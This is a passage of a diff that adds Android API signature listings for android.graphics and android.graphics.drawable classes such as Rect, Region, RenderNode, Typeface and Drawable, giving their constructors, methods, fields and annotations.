+    method public final void negate();
+    method public final void offset(int, int);
+    method public void readFromParcel(@NonNull android.os.Parcel);
+    method public void set(int, int);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.graphics.Point> CREATOR;
+    field public int x;
+    field public int y;
+  }
+
+  public class PointF implements android.os.Parcelable {
+    ctor public PointF();
+    ctor public PointF(float, float);
+    ctor public PointF(@NonNull android.graphics.Point);
+    ctor public PointF(@NonNull android.graphics.PointF);
+    method public int describeContents();
+    method public final boolean equals(float, float);
+    method public final float length();
+    method public static float length(float, float);
+    method public final void negate();
+    method public final void offset(float, float);
+    method public void readFromParcel(@NonNull android.os.Parcel);
+    method public final void set(float, float);
+    method public final void set(@NonNull android.graphics.PointF);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.graphics.PointF> CREATOR;
+    field public float x;
+    field public float y;
+  }
+
+  public class PorterDuff {
+    ctor public PorterDuff();
+  }
+
+  public enum PorterDuff.Mode {
+    enum_constant public static final android.graphics.PorterDuff.Mode ADD;
+    enum_constant public static final android.graphics.PorterDuff.Mode CLEAR;
+    enum_constant public static final android.graphics.PorterDuff.Mode DARKEN;
+    enum_constant public static final android.graphics.PorterDuff.Mode DST;
+    enum_constant public static final android.graphics.PorterDuff.Mode DST_ATOP;
+    enum_constant public static final android.graphics.PorterDuff.Mode DST_IN;
+    enum_constant public static final android.graphics.PorterDuff.Mode DST_OUT;
+    enum_constant public static final android.graphics.PorterDuff.Mode DST_OVER;
+    enum_constant public static final android.graphics.PorterDuff.Mode LIGHTEN;
+    enum_constant public static final android.graphics.PorterDuff.Mode MULTIPLY;
+    enum_constant public static final android.graphics.PorterDuff.Mode OVERLAY;
+    enum_constant public static final android.graphics.PorterDuff.Mode SCREEN;
+    enum_constant public static final android.graphics.PorterDuff.Mode SRC;
+    enum_constant public static final android.graphics.PorterDuff.Mode SRC_ATOP;
+    enum_constant public static final android.graphics.PorterDuff.Mode SRC_IN;
+    enum_constant public static final android.graphics.PorterDuff.Mode SRC_OUT;
+    enum_constant public static final android.graphics.PorterDuff.Mode SRC_OVER;
+    enum_constant public static final android.graphics.PorterDuff.Mode XOR;
+  }
+
+  public class PorterDuffColorFilter extends android.graphics.ColorFilter {
+    ctor public PorterDuffColorFilter(@ColorInt int, @NonNull android.graphics.PorterDuff.Mode);
+  }
+
+  public class PorterDuffXfermode extends android.graphics.Xfermode {
+    ctor public PorterDuffXfermode(android.graphics.PorterDuff.Mode);
+  }
+
+  public interface PostProcessor {
+    method public int onPostProcess(@NonNull android.graphics.Canvas);
+  }
+
+  public class RadialGradient extends android.graphics.Shader {
+    ctor public RadialGradient(float, float, float, @ColorInt @NonNull int[], @Nullable float[], @NonNull android.graphics.Shader.TileMode);
+    ctor public RadialGradient(float, float, float, @ColorLong @NonNull long[], @Nullable float[], @NonNull android.graphics.Shader.TileMode);
+    ctor public RadialGradient(float, float, @FloatRange(from=0.0f) float, float, float, @FloatRange(from=0.0f, fromInclusive=false) float, @ColorLong @NonNull long[], @Nullable float[], @NonNull android.graphics.Shader.TileMode);
+    ctor public RadialGradient(float, float, float, @ColorInt int, @ColorInt int, @NonNull android.graphics.Shader.TileMode);
+    ctor public RadialGradient(float, float, float, @ColorLong long, @ColorLong long, @NonNull android.graphics.Shader.TileMode);
+  }
+
+  public final class RecordingCanvas extends android.graphics.Canvas {
+  }
+
+  public final class Rect implements android.os.Parcelable {
+    ctor public Rect();
+    ctor public Rect(int, int, int, int);
+    ctor public Rect(@Nullable android.graphics.Rect);
+    method public int centerX();
+    method public int centerY();
+    method public boolean contains(int, int);
+    method public boolean contains(int, int, int, int);
+    method public boolean contains(@NonNull android.graphics.Rect);
+    method public int describeContents();
+    method public float exactCenterX();
+    method public float exactCenterY();
+    method @NonNull public String flattenToString();
+    method public int height();
+    method public void inset(int, int);
+    method public void inset(@NonNull android.graphics.Insets);
+    method public void inset(int, int, int, int);
+    method @CheckResult public boolean intersect(int, int, int, int);
+    method @CheckResult public boolean intersect(@NonNull android.graphics.Rect);
+    method public boolean intersects(int, int, int, int);
+    method public static boolean intersects(@NonNull android.graphics.Rect, @NonNull android.graphics.Rect);
+    method public boolean isEmpty();
+    method public void offset(int, int);
+    method public void offsetTo(int, int);
+    method public void readFromParcel(@NonNull android.os.Parcel);
+    method public void set(int, int, int, int);
+    method public void set(@NonNull android.graphics.Rect);
+    method public void setEmpty();
+    method @CheckResult public boolean setIntersect(@NonNull android.graphics.Rect, @NonNull android.graphics.Rect);
+    method public void sort();
+    method @NonNull public String toShortString();
+    method @Nullable public static android.graphics.Rect unflattenFromString(@Nullable String);
+    method public void union(int, int, int, int);
+    method public void union(@NonNull android.graphics.Rect);
+    method public void union(int, int);
+    method public int width();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.graphics.Rect> CREATOR;
+    field public int bottom;
+    field public int left;
+    field public int right;
+    field public int top;
+  }
+
+  public class RectF implements android.os.Parcelable {
+    ctor public RectF();
+    ctor public RectF(float, float, float, float);
+    ctor public RectF(@Nullable android.graphics.RectF);
+    ctor public RectF(@Nullable android.graphics.Rect);
+    method public final float centerX();
+    method public final float centerY();
+    method public boolean contains(float, float);
+    method public boolean contains(float, float, float, float);
+    method public boolean contains(@NonNull android.graphics.RectF);
+    method public int describeContents();
+    method public final float height();
+    method public void inset(float, float);
+    method public boolean intersect(float, float, float, float);
+    method public boolean intersect(@NonNull android.graphics.RectF);
+    method public boolean intersects(float, float, float, float);
+    method public static boolean intersects(@NonNull android.graphics.RectF, @NonNull android.graphics.RectF);
+    method public final boolean isEmpty();
+    method public void offset(float, float);
+    method public void offsetTo(float, float);
+    method public void readFromParcel(@NonNull android.os.Parcel);
+    method public void round(@NonNull android.graphics.Rect);
+    method public void roundOut(@NonNull android.graphics.Rect);
+    method public void set(float, float, float, float);
+    method public void set(@NonNull android.graphics.RectF);
+    method public void set(@NonNull android.graphics.Rect);
+    method public void setEmpty();
+    method public boolean setIntersect(@NonNull android.graphics.RectF, @NonNull android.graphics.RectF);
+    method public void sort();
+    method @NonNull public String toShortString();
+    method public void union(float, float, float, float);
+    method public void union(@NonNull android.graphics.RectF);
+    method public void union(float, float);
+    method public final float width();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.graphics.RectF> CREATOR;
+    field public float bottom;
+    field public float left;
+    field public float right;
+    field public float top;
+  }
+
+  public class Region implements android.os.Parcelable {
+    ctor public Region();
+    ctor public Region(@NonNull android.graphics.Region);
+    ctor public Region(@NonNull android.graphics.Rect);
+    ctor public Region(int, int, int, int);
+    method public boolean contains(int, int);
+    method public int describeContents();
+    method @NonNull public android.graphics.Path getBoundaryPath();
+    method public boolean getBoundaryPath(@NonNull android.graphics.Path);
+    method @NonNull public android.graphics.Rect getBounds();
+    method public boolean getBounds(@NonNull android.graphics.Rect);
+    method public boolean isComplex();
+    method public boolean isEmpty();
+    method public boolean isRect();
+    method public boolean op(@NonNull android.graphics.Rect, @NonNull android.graphics.Region.Op);
+    method public boolean op(int, int, int, int, @NonNull android.graphics.Region.Op);
+    method public boolean op(@NonNull android.graphics.Region, @NonNull android.graphics.Region.Op);
+    method public boolean op(@NonNull android.graphics.Rect, @NonNull android.graphics.Region, @NonNull android.graphics.Region.Op);
+    method public boolean op(@NonNull android.graphics.Region, @NonNull android.graphics.Region, @NonNull android.graphics.Region.Op);
+    method public boolean quickContains(@NonNull android.graphics.Rect);
+    method public boolean quickContains(int, int, int, int);
+    method public boolean quickReject(@NonNull android.graphics.Rect);
+    method public boolean quickReject(int, int, int, int);
+    method public boolean quickReject(android.graphics.Region);
+    method public boolean set(@NonNull android.graphics.Region);
+    method public boolean set(@NonNull android.graphics.Rect);
+    method public boolean set(int, int, int, int);
+    method public void setEmpty();
+    method public boolean setPath(@NonNull android.graphics.Path, @NonNull android.graphics.Region);
+    method public void translate(int, int);
+    method public void translate(int, int, android.graphics.Region);
+    method public final boolean union(@NonNull android.graphics.Rect);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.graphics.Region> CREATOR;
+  }
+
+  public enum Region.Op {
+    enum_constant public static final android.graphics.Region.Op DIFFERENCE;
+    enum_constant public static final android.graphics.Region.Op INTERSECT;
+    enum_constant public static final android.graphics.Region.Op REPLACE;
+    enum_constant public static final android.graphics.Region.Op REVERSE_DIFFERENCE;
+    enum_constant public static final android.graphics.Region.Op UNION;
+    enum_constant public static final android.graphics.Region.Op XOR;
+  }
+
+  public class RegionIterator {
+    ctor public RegionIterator(android.graphics.Region);
+    method public final boolean next(android.graphics.Rect);
+  }
+
+  public final class RenderEffect {
+    method @NonNull public static android.graphics.RenderEffect createBitmapEffect(@NonNull android.graphics.Bitmap);
+    method @NonNull public static android.graphics.RenderEffect createBitmapEffect(@NonNull android.graphics.Bitmap, @Nullable android.graphics.Rect, @NonNull android.graphics.Rect);
+    method @NonNull public static android.graphics.RenderEffect createBlendModeEffect(@NonNull android.graphics.RenderEffect, @NonNull android.graphics.RenderEffect, @NonNull android.graphics.BlendMode);
+    method @NonNull public static android.graphics.RenderEffect createBlurEffect(float, float, @NonNull android.graphics.RenderEffect, @NonNull android.graphics.Shader.TileMode);
+    method @NonNull public static android.graphics.RenderEffect createBlurEffect(float, float, @NonNull android.graphics.Shader.TileMode);
+    method @NonNull public static android.graphics.RenderEffect createChainEffect(@NonNull android.graphics.RenderEffect, @NonNull android.graphics.RenderEffect);
+    method @NonNull public static android.graphics.RenderEffect createColorFilterEffect(@NonNull android.graphics.ColorFilter, @NonNull android.graphics.RenderEffect);
+    method @NonNull public static android.graphics.RenderEffect createColorFilterEffect(@NonNull android.graphics.ColorFilter);
+    method @NonNull public static android.graphics.RenderEffect createOffsetEffect(float, float);
+    method @NonNull public static android.graphics.RenderEffect createOffsetEffect(float, float, @NonNull android.graphics.RenderEffect);
+    method @NonNull public static android.graphics.RenderEffect createShaderEffect(@NonNull android.graphics.Shader);
+  }
+
+  public final class RenderNode {
+    ctor public RenderNode(@Nullable String);
+    method @NonNull public android.graphics.RecordingCanvas beginRecording(int, int);
+    method @NonNull public android.graphics.RecordingCanvas beginRecording();
+    method public long computeApproximateMemoryUsage();
+    method public void discardDisplayList();
+    method public void endRecording();
+    method public float getAlpha();
+    method @ColorInt public int getAmbientShadowColor();
+    method public int getBottom();
+    method @FloatRange(from=0.0f, to=java.lang.Float.MAX_VALUE) public float getCameraDistance();
+    method public boolean getClipToBounds();
+    method public boolean getClipToOutline();
+    method public float getElevation();
+    method public int getHeight();
+    method public void getInverseMatrix(@NonNull android.graphics.Matrix);
+    method public int getLeft();
+    method public void getMatrix(@NonNull android.graphics.Matrix);
+    method public float getPivotX();
+    method public float getPivotY();
+    method public int getRight();
+    method public float getRotationX();
+    method public float getRotationY();
+    method public float getRotationZ();
+    method public float getScaleX();
+    method public float getScaleY();
+    method @ColorInt public int getSpotShadowColor();
+    method public int getTop();
+    method public float getTranslationX();
+    method public float getTranslationY();
+    method public float getTranslationZ();
+    method public long getUniqueId();
+    method public boolean getUseCompositingLayer();
+    method public int getWidth();
+    method public boolean hasDisplayList();
+    method public boolean hasIdentityMatrix();
+    method public boolean hasOverlappingRendering();
+    method public boolean hasShadow();
+    method public boolean isForceDarkAllowed();
+    method public boolean isPivotExplicitlySet();
+    method public boolean offsetLeftAndRight(int);
+    method public boolean offsetTopAndBottom(int);
+    method public boolean resetPivot();
+    method public boolean setAlpha(float);
+    method public boolean setAmbientShadowColor(@ColorInt int);
+    method public boolean setCameraDistance(@FloatRange(from=0.0f, to=java.lang.Float.MAX_VALUE) float);
+    method public boolean setClipRect(@Nullable android.graphics.Rect);
+    method public boolean setClipToBounds(boolean);
+    method public boolean setClipToOutline(boolean);
+    method public boolean setElevation(float);
+    method public boolean setForceDarkAllowed(boolean);
+    method public boolean setHasOverlappingRendering(boolean);
+    method public boolean setOutline(@Nullable android.graphics.Outline);
+    method public boolean setPivotX(float);
+    method public boolean setPivotY(float);
+    method public boolean setPosition(int, int, int, int);
+    method public boolean setPosition(@NonNull android.graphics.Rect);
+    method public boolean setProjectBackwards(boolean);
+    method public boolean setProjectionReceiver(boolean);
+    method public boolean setRenderEffect(@Nullable android.graphics.RenderEffect);
+    method public boolean setRotationX(float);
+    method public boolean setRotationY(float);
+    method public boolean setRotationZ(float);
+    method public boolean setScaleX(float);
+    method public boolean setScaleY(float);
+    method public boolean setSpotShadowColor(@ColorInt int);
+    method public boolean setTranslationX(float);
+    method public boolean setTranslationY(float);
+    method public boolean setTranslationZ(float);
+    method public boolean setUseCompositingLayer(boolean, @Nullable android.graphics.Paint);
+  }
+
+  public class Shader {
+    ctor @Deprecated public Shader();
+    method public boolean getLocalMatrix(@NonNull android.graphics.Matrix);
+    method public void setLocalMatrix(@Nullable android.graphics.Matrix);
+  }
+
+  public enum Shader.TileMode {
+    enum_constant public static final android.graphics.Shader.TileMode CLAMP;
+    enum_constant public static final android.graphics.Shader.TileMode DECAL;
+    enum_constant public static final android.graphics.Shader.TileMode MIRROR;
+    enum_constant public static final android.graphics.Shader.TileMode REPEAT;
+  }
+
+  public class SumPathEffect extends android.graphics.PathEffect {
+    ctor public SumPathEffect(android.graphics.PathEffect, android.graphics.PathEffect);
+  }
+
+  public class SurfaceTexture {
+    ctor public SurfaceTexture(int);
+    ctor public SurfaceTexture(int, boolean);
+    ctor public SurfaceTexture(boolean);
+    method public void attachToGLContext(int);
+    method public void detachFromGLContext();
+    method public long getTimestamp();
+    method public void getTransformMatrix(float[]);
+    method public boolean isReleased();
+    method public void release();
+    method public void releaseTexImage();
+    method public void setDefaultBufferSize(int, int);
+    method public void setOnFrameAvailableListener(@Nullable android.graphics.SurfaceTexture.OnFrameAvailableListener);
+    method public void setOnFrameAvailableListener(@Nullable android.graphics.SurfaceTexture.OnFrameAvailableListener, @Nullable android.os.Handler);
+    method public void updateTexImage();
+  }
+
+  public static interface SurfaceTexture.OnFrameAvailableListener {
+    method public void onFrameAvailable(android.graphics.SurfaceTexture);
+  }
+
+  @Deprecated public static class SurfaceTexture.OutOfResourcesException extends java.lang.Exception {
+    ctor @Deprecated public SurfaceTexture.OutOfResourcesException();
+    ctor @Deprecated public SurfaceTexture.OutOfResourcesException(String);
+  }
+
+  public class SweepGradient extends android.graphics.Shader {
+    ctor public SweepGradient(float, float, @ColorInt @NonNull int[], @Nullable float[]);
+    ctor public SweepGradient(float, float, @ColorLong @NonNull long[], @Nullable float[]);
+    ctor public SweepGradient(float, float, @ColorInt int, @ColorInt int);
+    ctor public SweepGradient(float, float, @ColorLong long, @ColorLong long);
+  }
+
+  public class Typeface {
+    method public static android.graphics.Typeface create(String, int);
+    method public static android.graphics.Typeface create(android.graphics.Typeface, int);
+    method @NonNull public static android.graphics.Typeface create(@Nullable android.graphics.Typeface, @IntRange(from=1, to=1000) int, boolean);
+    method public static android.graphics.Typeface createFromAsset(android.content.res.AssetManager, String);
+    method public static android.graphics.Typeface createFromFile(@Nullable java.io.File);
+    method public static android.graphics.Typeface createFromFile(@Nullable String);
+    method public static android.graphics.Typeface defaultFromStyle(int);
+    method public int getStyle();
+    method @IntRange(from=0, to=1000) public int getWeight();
+    method public final boolean isBold();
+    method public final boolean isItalic();
+    field public static final int BOLD = 1; // 0x1
+    field public static final int BOLD_ITALIC = 3; // 0x3
+    field public static final android.graphics.Typeface DEFAULT;
+    field public static final android.graphics.Typeface DEFAULT_BOLD;
+    field public static final int ITALIC = 2; // 0x2
+    field public static final android.graphics.Typeface MONOSPACE;
+    field public static final int NORMAL = 0; // 0x0
+    field public static final android.graphics.Typeface SANS_SERIF;
+    field public static final android.graphics.Typeface SERIF;
+  }
+
+  public static final class Typeface.Builder {
+    ctor public Typeface.Builder(@NonNull java.io.File);
+    ctor public Typeface.Builder(@NonNull java.io.FileDescriptor);
+    ctor public Typeface.Builder(@NonNull String);
+    ctor public Typeface.Builder(@NonNull android.content.res.AssetManager, @NonNull String);
+    method public android.graphics.Typeface build();
+    method public android.graphics.Typeface.Builder setFallback(@Nullable String);
+    method public android.graphics.Typeface.Builder setFontVariationSettings(@Nullable String);
+    method public android.graphics.Typeface.Builder setFontVariationSettings(@Nullable android.graphics.fonts.FontVariationAxis[]);
+    method public android.graphics.Typeface.Builder setItalic(boolean);
+    method public android.graphics.Typeface.Builder setTtcIndex(@IntRange(from=0) int);
+    method public android.graphics.Typeface.Builder setWeight(@IntRange(from=1, to=1000) int);
+  }
+
+  public static final class Typeface.CustomFallbackBuilder {
+    ctor public Typeface.CustomFallbackBuilder(@NonNull android.graphics.fonts.FontFamily);
+    method @NonNull public android.graphics.Typeface.CustomFallbackBuilder addCustomFallback(@NonNull android.graphics.fonts.FontFamily);
+    method @NonNull public android.graphics.Typeface build();
+    method @IntRange(from=64) public static int getMaxCustomFallbackCount();
+    method @NonNull public android.graphics.Typeface.CustomFallbackBuilder setStyle(@NonNull android.graphics.fonts.FontStyle);
+    method @NonNull public android.graphics.Typeface.CustomFallbackBuilder setSystemFallback(@NonNull String);
+  }
+
+  public class Xfermode {
+    ctor public Xfermode();
+  }
+
+  public class YuvImage {
+    ctor public YuvImage(byte[], int, int, int, int[]);
+    method public boolean compressToJpeg(android.graphics.Rect, int, java.io.OutputStream);
+    method public int getHeight();
+    method public int[] getStrides();
+    method public int getWidth();
+    method public byte[] getYuvData();
+    method public int getYuvFormat();
+  }
+
+}
+
+package android.graphics.drawable {
+
+  public class AdaptiveIconDrawable extends android.graphics.drawable.Drawable implements android.graphics.drawable.Drawable.Callback {
+    ctor public AdaptiveIconDrawable(android.graphics.drawable.Drawable, android.graphics.drawable.Drawable);
+    method public void draw(android.graphics.Canvas);
+    method public android.graphics.drawable.Drawable getBackground();
+    method public static float getExtraInsetFraction();
+    method public android.graphics.drawable.Drawable getForeground();
+    method public android.graphics.Path getIconMask();
+    method public int getOpacity();
+    method public void invalidateDrawable(@NonNull android.graphics.drawable.Drawable);
+    method public void scheduleDrawable(@NonNull android.graphics.drawable.Drawable, @NonNull Runnable, long);
+    method public void setAlpha(int);
+    method public void setColorFilter(android.graphics.ColorFilter);
+    method public void setDither(boolean);
+    method public void setOpacity(int);
+    method public void unscheduleDrawable(@NonNull android.graphics.drawable.Drawable, @NonNull Runnable);
+  }
+
+  public interface Animatable {
+    method public boolean isRunning();
+    method public void start();
+    method public void stop();
+  }
+
+  public interface Animatable2 extends android.graphics.drawable.Animatable {
+    method public void clearAnimationCallbacks();
+    method public void registerAnimationCallback(@NonNull android.graphics.drawable.Animatable2.AnimationCallback);
+    method public boolean unregisterAnimationCallback(@NonNull android.graphics.drawable.Animatable2.AnimationCallback);
+  }
+
+  public abstract static class Animatable2.AnimationCallback {
+    ctor public Animatable2.AnimationCallback();
+    method public void onAnimationEnd(android.graphics.drawable.Drawable);
+    method public void onAnimationStart(android.graphics.drawable.Drawable);
+  }
+
+  public class AnimatedImageDrawable extends android.graphics.drawable.Drawable implements android.graphics.drawable.Animatable2 {
+    ctor public AnimatedImageDrawable();
+    method public void clearAnimationCallbacks();
+    method public void draw(@NonNull android.graphics.Canvas);
+    method public int getOpacity();
+    method public int getRepeatCount();
+    method public final boolean isAutoMirrored();
+    method public boolean isRunning();
+    method public void registerAnimationCallback(@NonNull android.graphics.drawable.Animatable2.AnimationCallback);
+    method public void setAlpha(@IntRange(from=0, to=255) int);
+    method public void setColorFilter(@Nullable android.graphics.ColorFilter);
+    method public void setRepeatCount(@IntRange(from=android.graphics.drawable.AnimatedImageDrawable.REPEAT_INFINITE) int);
+    method public void start();
+    method public void stop();
+    method public boolean unregisterAnimationCallback(@NonNull android.graphics.drawable.Animatable2.AnimationCallback);
+    field public static final int REPEAT_INFINITE = -1; // 0xffffffff
+  }
+
+  public class AnimatedStateListDrawable extends android.graphics.drawable.StateListDrawable {
+    ctor public AnimatedStateListDrawable();
+    method public void addState(@NonNull int[], @NonNull android.graphics.drawable.Drawable, int);
+    method public <T extends android.graphics.drawable.Drawable & android.graphics.drawable.Animatable> void addTransition(int, int, @NonNull T, boolean);
+  }
+
+  public class AnimatedVectorDrawable extends android.graphics.drawable.Drawable implements android.graphics.drawable.Animatable2 {
+    ctor public AnimatedVectorDrawable();
+    method public void clearAnimationCallbacks();
+    method public void draw(android.graphics.Canvas);
+    method public int getOpacity();
+    method public boolean isRunning();
+    method public void registerAnimationCallback(@NonNull android.graphics.drawable.Animatable2.AnimationCallback);
+    method public void reset();
+    method public void setAlpha(int);
+    method public void setColorFilter(android.graphics.ColorFilter);
+    method public void start();
+    method public void stop();
+    method public boolean unregisterAnimationCallback(@NonNull android.graphics.drawable.Animatable2.AnimationCallback);
+  }
+
+  public class AnimationDrawable extends android.graphics.drawable.DrawableContainer implements android.graphics.drawable.Animatable java.lang.Runnable {
+    ctor public AnimationDrawable();
+    method public void addFrame(@NonNull android.graphics.drawable.Drawable, int);
+    method public int getDuration(int);
+    method public android.graphics.drawable.Drawable getFrame(int);
+    method public int getNumberOfFrames();
+    method public boolean isOneShot();
+    method public boolean isRunning();
+    method public void run();
+    method public void setOneShot(boolean);
+    method public void start();
+    method public void stop();
+  }
+
+  public class BitmapDrawable extends android.graphics.drawable.Drawable {
+    ctor @Deprecated public BitmapDrawable();
+    ctor @Deprecated public BitmapDrawable(android.content.res.Resources);
+    ctor @Deprecated public BitmapDrawable(android.graphics.Bitmap);
+    ctor public BitmapDrawable(android.content.res.Resources, android.graphics.Bitmap);
+    ctor @Deprecated public BitmapDrawable(String);
+    ctor public BitmapDrawable(android.content.res.Resources, String);
+    ctor @Deprecated public BitmapDrawable(java.io.InputStream);
+    ctor public BitmapDrawable(android.content.res.Resources, java.io.InputStream);
+    method public void draw(android.graphics.Canvas);
+    method public final android.graphics.Bitmap getBitmap();
+    method public final android.graphics.drawable.Drawable.ConstantState getConstantState();
+    method public int getGravity();
+    method public int getOpacity();
+    method public final android.graphics.Paint getPaint();
+    method public android.graphics.Shader.TileMode getTileModeX();
+    method public android.graphics.Shader.TileMode getTileModeY();
+    method public boolean hasAntiAlias();
+    method public boolean hasMipMap();
+    method public final boolean isAutoMirrored();
+    method public void setAlpha(int);
+    method public void setAntiAlias(boolean);
+    method public void setBitmap(@Nullable android.graphics.Bitmap);
+    method public void setColorFilter(android.graphics.ColorFilter);
+    method public void setDither(boolean);
+    method public void setGravity(int);
+    method public void setMipMap(boolean);
+    method public void setTargetDensity(android.graphics.Canvas);
+    method public void setTargetDensity(android.util.DisplayMetrics);
+    method public void setTargetDensity(int);
+    method public void setTileModeX(android.graphics.Shader.TileMode);
+    method public void setTileModeXY(android.graphics.Shader.TileMode, android.graphics.Shader.TileMode);
+    method public final void setTileModeY(android.graphics.Shader.TileMode);
+  }
+
+  public class ClipDrawable extends android.graphics.drawable.DrawableWrapper {
+    ctor public ClipDrawable(android.graphics.drawable.Drawable, int, int);
+    field public static final int HORIZONTAL = 1; // 0x1
+    field public static final int VERTICAL = 2; // 0x2
+  }
+
+  public class ColorDrawable extends android.graphics.drawable.Drawable {
+    ctor public ColorDrawable();
+    ctor public ColorDrawable(@ColorInt int);
+    method public void draw(android.graphics.Canvas);
+    method @ColorInt public int getColor();
+    method public int getOpacity();
+    method public void setAlpha(int);
+    method public void setColor(@ColorInt int);
+    method public void setColorFilter(android.graphics.ColorFilter);
+  }
+
+  public class ColorStateListDrawable extends android.graphics.drawable.Drawable implements android.graphics.drawable.Drawable.Callback {
+    ctor public ColorStateListDrawable();
+    ctor public ColorStateListDrawable(@NonNull android.content.res.ColorStateList);
+    method public void clearAlpha();
+    method public void draw(@NonNull android.graphics.Canvas);
+    method @NonNull public android.content.res.ColorStateList getColorStateList();
+    method public int getOpacity();
+    method public void invalidateDrawable(@NonNull android.graphics.drawable.Drawable);
+    method public void scheduleDrawable(@NonNull android.graphics.drawable.Drawable, @NonNull Runnable, long);
+    method public void setAlpha(@IntRange(from=0, to=255) int);
+    method public void setColorFilter(@Nullable android.graphics.ColorFilter);
+    method public void setColorStateList(@NonNull android.content.res.ColorStateList);
+    method public void unscheduleDrawable(@NonNull android.graphics.drawable.Drawable, @NonNull Runnable);
+  }
+
+  public abstract class Drawable {
+    ctor public Drawable();
+    method public void applyTheme(@NonNull android.content.res.Resources.Theme);
+    method public boolean canApplyTheme();
+    method public void clearColorFilter();
+    method public final void copyBounds(@NonNull android.graphics.Rect);
+    method @NonNull public final android.graphics.Rect copyBounds();
+    method @Nullable public static android.graphics.drawable.Drawable createFromPath(String);
+    method public static android.graphics.drawable.Drawable createFromResourceStream(android.content.res.Resources, android.util.TypedValue, java.io.InputStream, String);
+    method @Deprecated @Nullable public static android.graphics.drawable.Drawable createFromResourceStream(@Nullable android.content.res.Resources, @Nullable android.util.TypedValue, @Nullable java.io.InputStream, @Nullable String, @Nullable android.graphics.BitmapFactory.Options);
+    method public static android.graphics.drawable.Drawable createFromStream(java.io.InputStream, String);
+    method @NonNull public static android.graphics.drawable.Drawable createFromXml(@NonNull android.content.res.Resources, @NonNull org.xmlpull.v1.XmlPullParser) throws java.io.IOException, org.xmlpull.v1.XmlPullParserException;
+    method @NonNull public static android.graphics.drawable.Drawable createFromXml(@NonNull android.content.res.Resources, @NonNull org.xmlpull.v1.XmlPullParser, @Nullable android.content.res.Resources.Theme) throws java.io.IOException, org.xmlpull.v1.XmlPullParserException;
+    method @NonNull public static android.graphics.drawable.Drawable createFromXmlInner(@NonNull android.content.res.Resources, @NonNull org.xmlpull.v1.XmlPullParser, @NonNull android.util.AttributeSet) throws java.io.IOException, org.xmlpull.v1.XmlPullParserException;
+    method @NonNull public static android.graphics.drawable.Drawable createFromXmlInner(@NonNull android.content.res.Resources, @NonNull org.xmlpull.v1.XmlPullParser, @NonNull android.util.AttributeSet, @Nullable android.content.res.Resources.Theme) throws java.io.IOException, org.xmlpull.v1.XmlPullParserException;
+    method public abstract void draw(@NonNull android.graphics.Canvas);
+    method @IntRange(from=0, to=255) public int getAlpha();
+    method @NonNull public final android.graphics.Rect getBounds();
+    method @Nullable public android.graphics.drawable.Drawable.Callback getCallback();
+    method public int getChangingConfigurations();
+    method @Nullable public android.graphics.ColorFilter getColorFilter();
+    method @Nullable public android.graphics.drawable.Drawable.ConstantState getConstantState();
+    method @NonNull public android.graphics.drawable.Drawable getCurrent();
+    method @NonNull public android.graphics.Rect getDirtyBounds();
+    method public void getHotspotBounds(@NonNull android.graphics.Rect);
+    method public int getIntrinsicHeight();
+    method public int getIntrinsicWidth();
+    method public int getLayoutDirection();
+    method @IntRange(from=0, to=10000) public final int getLevel();
+    method public int getMinimumHeight();
+    method public int getMinimumWidth();
+    method @Deprecated public abstract int getOpacity();
+    method @NonNull public android.graphics.Insets getOpticalInsets();
+    method public void getOutline(@NonNull android.graphics.Outline);
+    method public boolean getPadding(@NonNull android.graphics.Rect);
+    method @NonNull public int[] getState();
+    method @Nullable public android.graphics.Region getTransparentRegion();
+    method public boolean hasFocusStateSpecified();
+    method public void inflate(@NonNull android.content.res.Resources, @NonNull org.xmlpull.v1.XmlPullParser, @NonNull android.util.AttributeSet) throws java.io.IOException, org.xmlpull.v1.XmlPullParserException;
+    method public void inflate(@NonNull android.content.res.Resources, @NonNull org.xmlpull.v1.XmlPullParser, @NonNull android.util.AttributeSet, @Nullable android.content.res.Resources.Theme) throws java.io.IOException, org.xmlpull.v1.XmlPullParserException;
+    method public void invalidateSelf();
+    method public boolean isAutoMirrored();
+    method public boolean isFilterBitmap();
+    method public boolean isProjected();
+    method public boolean isStateful();
+    method public final boolean isVisible();
+    method public void jumpToCurrentState();
+    method @NonNull public android.graphics.drawable.Drawable mutate();
+    method protected void onBoundsChange(android.graphics.Rect);
+    method public boolean onLayoutDirectionChanged(int);
+    method protected boolean onLevelChange(int);
+    method protected boolean onStateChange(int[]);
+    method public static int resolveOpacity(int, int);
+    method public void scheduleSelf(@NonNull Runnable, long);
+    method public abstract void setAlpha(@IntRange(from=0, to=255) int);
+    method public void setAutoMirrored(boolean);
+    method public void setBounds(int, int, int, int);
+    method public void setBounds(@NonNull android.graphics.Rect);
+    method public final void setCallback(@Nullable android.graphics.drawable.Drawable.Callback);
+    method public void setChangingConfigurations(int);
+    method public abstract void setColorFilter(@Nullable android.graphics.ColorFilter);
+    method @Deprecated public void setColorFilter(@ColorInt int, @NonNull android.graphics.PorterDuff.Mode);
+    method @Deprecated public void setDither(boolean);
+    method public void setFilterBitmap(boolean);
+    method public void setHotspot(float, float);
+    method public void setHotspotBounds(int, int, int, int);
+    method public final boolean setLayoutDirection(int);
+    method public final boolean setLevel(@IntRange(from=0, to=10000) int);
+    method public boolean setState(@NonNull int[]);
+    method public void setTint(@ColorInt int);
+    method public void setTintBlendMode(@Nullable android.graphics.BlendMode);
+    method public void setTintList(@Nullable android.content.res.ColorStateList);
+    method public void setTintMode(@Nullable android.graphics.PorterDuff.Mode);
+    method public boolean setVisible(boolean, boolean);
+    method public void unscheduleSelf(@NonNull Runnable);
+  }
+
+  public static interface Drawable.Callback {
+    method public void invalidateDrawable(@NonNull android.graphics.drawable.Drawable);
+    method public void scheduleDrawable(@NonNull android.graphics.drawable.Drawable, @NonNull Runnable, long);
+    method public void unscheduleDrawable(@NonNull android.graphics.drawable.Drawable, @NonNull Runnable);
+  }
+
+  public abstract static class Drawable.ConstantState {
+    ctor public Drawable.ConstantState();
+    method public boolean canApplyTheme();
+    method public abstract int getChangingConfigurations();
+    method @NonNull public abstract android.graphics.drawable.Drawable newDrawable();
+    method @NonNull public android.graphics.drawable.Drawable newDrawable(@Nullable android.content.res.Resources);
